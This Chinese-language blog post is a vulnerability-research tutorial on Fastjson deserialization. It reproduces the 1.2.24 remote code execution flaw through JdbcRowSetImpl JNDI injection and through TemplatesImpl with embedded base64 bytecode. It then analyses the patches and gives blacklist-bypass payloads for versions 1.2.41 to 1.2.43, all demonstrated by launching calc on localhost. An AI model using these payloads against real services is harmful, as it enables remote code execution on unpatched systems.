Fastjson 反序列化漏洞及绕过

发布于 2022-02-12  534 次阅读


0x00 初识Fastjson

0x00 Fastjson

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean

项目地址:https://github.com/alibaba/fastjson。

可通过在pom.xml中添加依赖来获取。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>

先简单学习一下Fastjson

0x01 Java 对象转化为 Json 对象

首先定义一个类,拥有agename两个属性,然后写上JSONField注解可以指定字段的名称以及其他功能,如果不想让某个属性进行序列化,可以在JSONField注解中使用serialize/deserialize使指定字段不序列化/反序列化。

package com.example;

import com.alibaba.fastjson.annotation.JSONField;


public class Person {

    @JSONField(name = "AGE")
    private int age;

    @JSONField(name = "NAME")
    private String name;

    public Person(int age, String name) {
        super();
        this.age = age;
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

写好Person类后,我们使用JSON.toJSONString来将我们实例化好的一个对象来序列化为JSON对象,这里会调用作用域为private的属性的getter方法来获取它的值。添加SerializerFeature.WriteClassName属性可以在序列化后的Json对象中加上一个@type字段,写上被序列化的对象的类名,可以指定反序列化的类,。SerializerFeature.PrettyFormat属性可以美化一下输出。

public static void main(String[] args) {
    Person student = new Person(21, "So4ms");
    System.out.println(JSON.toJSONString(student, SerializerFeature.WriteClassName, SerializerFeature.PrettyFormat));
}

序列化的结果如下:

{
    "@type":"com.example.Person",
    "AGE":21,
    "NAME":"So4ms"
}

0x02 Json 对象转化为 Java 对象

当我们调用JSON.parseObject来反序列化我们上面获得的Json字符串时,会发现报错了。

public static void main(String[] args) {
    String jsonObject = "{\"@type\":\"com.example.Person\",\"AGE\":21,\"NAME\":\"So4ms\"}\n";
    Person newPerson = JSON.parseObject(jsonObject, Person.class);
    System.out.println(newPerson);
}

报错提示default constructor not found. class com.example.Person,原来缺少一个无参的构造方法,加上即可。得到输出:Person{age=0, name='So4ms'}

这里我们在JSON.parseObject中指定了类为Person.class,所以只会调用private属性的setter方法来设置属性值。

如果我们不进行指定,就会调用private属性的setter方法以及所有属性的getter方法,当然,如果类的属性时public,他的getter方法也可以没有。然后会返回一个JSONObject对象,而不是像上面一样返回了指定的对象。

而当我们使用JSON.parse来进行反序列化时,只会调用private属性的setter方法。

0x03 创建 JSON 对象

只需使用JSONObjectfastJson提供的json对象) 和JSONArrayfastJson提供json数组对象) 对象即可。

public static void main(String[] args) {
    JSONArray jsonArray = new JSONArray();
    for (int i = 0; i < 2; i++) {
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("AGE", 10);
        jsonObject.put("NAME", "NO." + i);
        jsonArray.add(jsonObject);
    }
    String jsonOutput = jsonArray.toJSONString();
    System.out.println(jsonOutput);
}

运行如上代码就可以得到一个json数组,包含了两个json对象,输出结果如下:

[
    {
        "AGE": 10,
        "NAME": "NO.0"
    }, {
        "AGE": 10,
        "NAME": "NO.1"
    }
]

0x01 Fastjson 1.2.24 反序列化任意命令执行漏洞

0x00 准备

  • 影响范围:Fastjson <= 1.2.24
  • 复现环境:jdk8u71.Fastjson 1.2.23.

0x01 漏洞复现

JdbcRowSetImpl链

漏洞复现

编写如下恶意类,使用javac编译得到Malice.class

package com.example;

import java.lang.Runtime;
import java.lang.Process;

public class Malice {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception ignored) {
        }
    }
}

使用python起一个http服务器,在网站根目录的/com/example下放入我们上面编译好的Malice.class文件。

编写恶意的rmi服务器代码,Reference的构造方法的三个参数分别为:

  1. className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载,这里为Malice
  2. classFactory - 远程的工厂类,这里为com.example.Malice
  3. classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议,这里就写上我们启动的http服务器的url。
package com.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Malice",
                "com.example.Malice", "http://127.0.0.1/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Malice", referenceWrapper);
    }
}

然后编写受害者的代码。

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Malice\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

要注意编译class的jdk版本与受害者的jdk版本是否一致。运行服务端代码,运行受害者代码,成功弹出计算器,利用成功。

漏洞分析

本次漏洞利用的payload为:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Malice", "autoCommit":true},注意到了这里反序列化之后得到的类是com.sun.rowset.JdbcRowSetImpl,在之前的Fastjson基础学习中可以知道,在进行反序列化时,使用JSON.parse来进行解析,只会调用private属性的setter方法,所以可以关注一下这个出现问题的类的setter方法。

如果我们设置得有autoCommit字段,那么就会调用setAutoCommit方法,当然设置的值true或者false都无所谓。调用setAutoCommit后,this.conn默认为空,就会进入this.connect()

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

connect()中,可以发现存在一个调用var1.lookup(this.getDataSourceName()),而var1InitialContextthis.getDataSourceName()的返回值就是dataSourceName字段的值,为我们所控,所以会造成JNDI注入。

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

TemplatesImpl链

漏洞复现

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类,相信大家也比较熟悉了,在cc3的利用链中也用到过这个类,用来动态执行字节码。

构造特定的字节码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class So4ms extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public So4ms() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

payload为:

String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_bytecodes\":[\"yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNvNG1zOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKU280bXMuamF2YQwAGQAaBwAnDAAoACkBAARjYWxjDAAqACsBAAVTbzRtcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADAALAAAAIAADAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABAAEQACABIAAAAEAAEAEwABAAcAFAACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEQALAAAAKgAEAAAAAQAMAA0AAAAAAAEADgAPAAEAAAABABUAFgACAAAAAQAXABgAAwASAAAABAABABMAAQAZABoAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAATAAQAFAANABUACwAAAAwAAQAAAA4ADAANAAAAEgAAAAQAAQAbAAEAHAAAAAIAHQ==\"]," +
                "\"_name\":\"So4ms\"," +
                "\"_tfactory\":{ }," +
                "\"_outputProperties\":{ }}";

在进行解析的时候,要设置第二个参数Feature.SupportNonPublicField

JSON.parse(payload, Feature.SupportNonPublicField);

漏洞分析

这里我们来看一下参数Feature.SupportNonPublicField起到了什么作用。

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断:

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
                          Map<String, Object> fieldValues) {
    JSONLexer lexer = parser.lexer; // xxx

    FieldDeserializer fieldDeserializer = smartMatch(key);

    final int mask = Feature.SupportNonPublicField.mask;
    if (fieldDeserializer == null
        && (parser.lexer.isEnabled(mask)
            || (this.beanInfo.parserFeatures & mask) != 0)) {
        ......
    }
    ......
}

这里的Feature.SupportNonPublicField.mask值为131072,当我们设置了Feature.SupportNonPublicField时,parser.lexer.features的值为132061,返回值为true,而不设置时,parser.lexer.features的值为989,返回值为false。所以当我们设置了Feature.SupportNonPublicField时就会进入这个if当中。

public final boolean isEnabled(int feature) {
    return (this.features & feature) != 0;
}

接下来会遍历要解析的这个类的所有属性,然后通过field.getModifiers()得到这个属性的修饰符,什么都不加是0 , public是1 ,private是 2 ,protected是 4,static是 8 ,final是 16,然后将没有FINAL以及没有STATIC的属性加入extraFieldDeserializers

if (this.extraFieldDeserializers == null) {
    ConcurrentHashMap extraFieldDeserializers = 
        new ConcurrentHashMap<String, Object>(1, 0.75f, 1);

    Field[] fields = this.clazz.getDeclaredFields();
    for (Field field : fields) {
        String fieldName = field.getName();
        if (this.getFieldDeserializer(fieldName) != null) {
            continue;
        }
        int fieldModifiers = field.getModifiers();
        if ((fieldModifiers & Modifier.FINAL) != 0 || (fieldModifiers & Modifier.STATIC) != 0) {
            continue;
        }
        extraFieldDeserializers.put(fieldName, field);
    }
    this.extraFieldDeserializers = extraFieldDeserializers;
}

然后又在com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField进入setValue(object, value),调用了Method method = fieldInfo.method,就进入了getOutputProperties()

而这个getOutputProperties()就是在com.alibaba.fastjson.util.JavaBeanInfo#build处获取,将getOutputProperties方法作为_outputProperties的构造方法加入了fieldList

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
    if (method.getParameterTypes().length != 0) {
        continue;
    }

    if (Collection.class.isAssignableFrom(method.getReturnType()) //
        || Map.class.isAssignableFrom(method.getReturnType()) //
        || AtomicBoolean.class == method.getReturnType() //
        || AtomicInteger.class == method.getReturnType() //
        || AtomicLong.class == method.getReturnType() //
       ) {
        String propertyName;

        JSONField annotation = method.getAnnotation(JSONField.class);
        if (annotation != null && annotation.deserialize()) {
            continue;
        }

        if (annotation != null && annotation.name().length() > 0) {
            propertyName = annotation.name();
        } else {
            propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
        }

        FieldInfo fieldInfo = getField(fieldList, propertyName);
        if (fieldInfo != null) {
            continue;
        }

        if (propertyNamingStrategy != null) {
            propertyName = propertyNamingStrategy.translate(propertyName);
        }

        add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, 0, 0, 0, annotation, null, null));
    }
}

最后进入getOutputProperties(),会调用newTransformer(),而这正好是cc3中TemplatesImpl利用链的起始部分。关于这之后的更多细节在cc3中写过了这里就不再赘述了。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() ->

TemplatesImpl#defineTransletClasses() ->

TransletClassLoader#defineClass()

0X02 为什么会出现这个漏洞

主要原因是因为没有对属性@type进行过滤,一些危险的类也会进行反序列化,就容易导致漏洞的产生,我们从JSON.parse(payload)开始调试看一下反序列化的流程是怎样的。进入parse调用了parse(String text, int features),然后调用DefaultJSONParser.parse(),跟进this.parse((Object)null),这里会对lexer.token()的值进行一个判断,switch(lexer.token())

而在之前的DefaultJSONParser构造方法中,会对我们传入数据的字符进行判断,我们这里传入的首字符是{lexer.token()的值自然就是12了。

int ch = lexer.getCurrent();
if (ch == '{') {
    lexer.next();
    ((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
    lexer.next();
    ((JSONLexerBase)lexer).token = 14;
} else {
    lexer.nextToken();
}

创建了一个空的JSONObject对象,然后调用this.parseObject((Map)object, fieldName)

case 12:
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    return this.parseObject((Map)object, fieldName);

进入this.parseObject后再次对lexer.token()进行了一个判断,此时的lexer.token()还是12,进入else,之后进入一个while循环开始进行解析。

  1. 判断下一个标志位是否为",如果是"则提取key值,这时的标志位为"
  2. 判断下一个标志位是否为:
    • 如果为:则判断下一个标志位是否为",如果是,则获取value值,这时的标志位为"
    • 如果为{则重复1、2的过程。
  3. 判断下一个标志位是否为}
    • 如果为}则表示这一个单元的解析结束
    • 如果为,则表示要解析下一个kv的数据,重复1、2、3

这里调用lexer.scanSymbol(this.symbolTable, '"')得到了key值为@type

if (ch == '"') {
    key = lexer.scanSymbol(this.symbolTable, '"');
    lexer.skipWhitespace();
    ch = lexer.getCurrent();
    if (ch != ':') {
        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
    }
}

然后在下面,进入了一个if判断,JSON.DEFAULT_TYPE_KEY的值也就是@type,进入TypeUtils.loadClass加载Class

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)){
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader())
    ......
}

然后下面就会进入ObjectDeserializer deserializer = this.config.getDeserializer(clazz)。获得一个ObjectDeserializer对象,然后进入this.getDeserializer

public ObjectDeserializer getDeserializer(Type type) {
    ObjectDeserializer derializer = (ObjectDeserializer)this.derializers.get(type);
    if (derializer != null) {
        return derializer;
    } else if (type instanceof Class) {
        return this.getDeserializer((Class)type, type);
    } else if (type instanceof ParameterizedType) {
        Type rawType = ((ParameterizedType)type).getRawType();
        return rawType instanceof Class ? this.getDeserializer((Class)rawType, type) : this.getDeserializer(rawType);
    } else {
        return JavaObjectDeserializer.instance;
    }
}

这里存在一个黑名单判断,而这个黑名单初始化为this.denyList = new String[]{"java.lang.Thread"},显然是形同虚设,就导致了漏洞的产生。

for(int i = 0; i < this.denyList.length; ++i) {
    String deny = this.denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("parser deny : " + className);
    }
}

0x03 补丁

我们切换一下版本到1.2.25,然后再次运行一下我们的payload。结果报错autoType is not support. com.sun.rowset.JdbcRowSetImpl。来看一下报错的地方在com.alibaba.fastjson.parser.ParserConfig.checkAutoType

将原来的TypeUtils.loadClass加载Class改为了config.checkAutoType(typeName, null),进行了一个黑名单过滤,而黑名单也更新为了:"bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework",就对上述漏洞进行了修补。

for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

0x02 Fastjson 1.2.41 反序列化补丁绕过

0x00 准备

  • 影响范围: Fastjson <= 1.2.41
  • 复现环境:jdk8u71.Fastjson 1.2.41

0x01 补丁分析

在前面可以得知在com.alibaba.fastjson.parser.ParserConfig.checkAutoType中,将原来的TypeUtils.loadClass加载Class改为了config.checkAutoType(typeName, null),进行了一个黑名单过滤,所有名称以黑名单中内容开头的类都会被拦截。

如果是一个不在黑名单中的类,继续往下走,就会调用原来的TypeUtils.loadClass

if (clazz == null) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

进入之后,可以看到存在以下判断,判断传入类名的首字符是否为[,或者是否以L开头,以;结尾。

if(className.charAt(0) == '['){
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

这在Java中叫JNI(JavaNative Interface FieldDescriptors)字段描述符。

比如说一个int数组int[]就表示为[I,而二维数组int[][]就表示为[[I

接着比如说一个String类,就表示为Ljava.lang.String;,以L开头,以;结尾。

于是绕过的思路就有了,在前面的黑名单判断中,仅仅只是以startsWith进行了判断,如果我们以JNI字段描述符来进行输入,就可以对黑名单进行绕过,而且在TypeUtils.loadClass中还会将其去除,不影响之后的流程。

for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

0x02 payload

需要使用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);手动开启autoType

在之前的基础上修改一下@type,添加一个L;就行了

String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
    "\"_bytecodes\":[\"......\"]," +
    "\"_name\":\"So4ms\"," +
    "\"_tfactory\":{ }," +
    "\"_outputProperties\":{ }}";
JSON.parse(payload, Feature.SupportNonPublicField);

0x03 Fastjson 1.2.42 反序列化补丁绕过

0x00 准备

  • 影响范围:Fastjson <= 1.2.42
  • 复现环境:jdk8u71.Fastjson 1.2.42

0x01 补丁分析

这次还是在com.alibaba.fastjson.parser.ParserConfig#checkAutoType中,添加了如下代码,如果className是以L开头,;结尾的话这个if判断的内容就会返回true,然后className就会去除首尾的L;再进行下面的黑名单检查。

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
       ^ className.charAt(0))
      * PRIME)
     ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    className = className.substring(1, className.length() - 1);
}

在黑名单检查中,也不再像之前一样是存放的明文,而是使用的hash比较。虽然没多大用。

if (autoTypeSupport || expectClass != null) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        hash ^= className.charAt(i);
        hash *= PRIME;
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            if (clazz != null) {
                return clazz;
            }
        }
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

这次的修补,仅仅只是判断去除了一次L;,典型的双写绕过即可。

0x02 payload

需要使用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);手动开启autoType

在之前的基础上修改一下@type,再添加一个L;就行了

String payload = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
    "\"_bytecodes\":[\"......\"]," +
    "\"_name\":\"So4ms\"," +
    "\"_tfactory\":{ }," +
    "\"_outputProperties\":{ }}";
JSON.parse(payload, Feature.SupportNonPublicField);

0x04 Fastjson 1.2.43 反序列化补丁绕过

0x00 准备

  • 影响范围:Fastjson <= 1.2.43
  • 复现环境:jdk8u71.Fastjson 1.2.43

0x01 补丁分析

这次加了一层判断,有一个L;的会将其去掉继续下面的流程,有两个的就会直接抛出异常终止流程。

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
       ^ className.charAt(0))
      * PRIME)
     ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
           ^ className.charAt(0))
          * PRIME)
         ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

那么利用L;来绕过就基本修复了。但是在TypeUtils.loadClass中的两个判断,还有一个对数组的判断,利用[来绕过。

if(className.charAt(0) == '['){
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

那么我们尝试一下修改@type[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,添加一个中括号,但是很遗憾报错exepct '[', but error, pos 71,

提示在71的位置应该是[,也就是第一个逗号,那么在逗号之前加上[

"{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[," +
    "\"_bytecodes\":[\"......\"]," +
    "\"_name\":\"So4ms\"," +
    "\"_tfactory\":{ }," +
    "\"_outputProperties\":{ }}"

又提示syntax error, expect {, actual string, pos 72,72的位置应该为{,改一下。运行成功!

"{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
    "\"_bytecodes\":[\"......\"]," +
    "\"_name\":\"So4ms\"," +
    "\"_tfactory\":{ }," +
    "\"_outputProperties\":{ }}"

看一下之前报错的位置com.alibaba.fastjson.parser.DefaultJSONParser#parseArray,通过获取下一个字符来判断,,对应的token就是16,[对应的token是14,也就是JSONToken.LBRACKET。后面的{也同理,就不继续分析了。

int token = lexer.token();
if (token == JSONToken.SET || token == JSONToken.TREE_SET) {
    lexer.nextToken();
    token = lexer.token();
}

if (token != JSONToken.LBRACKET) {
    throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + lexer.info());
}

0x02 payload

需要使用ParserConfig.getGlobalInstance().setAutoTypeSupport(true);手动开启autoType

String payload = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{," +
    "\"_bytecodes\":[\"......\"]," +
    "\"_name\":\"So4ms\"," +
    "\"_tfactory\":{ }," +
    "\"_outputProperties\":{ }}";
JSON.parse(payload, Feature.SupportNonPublicField);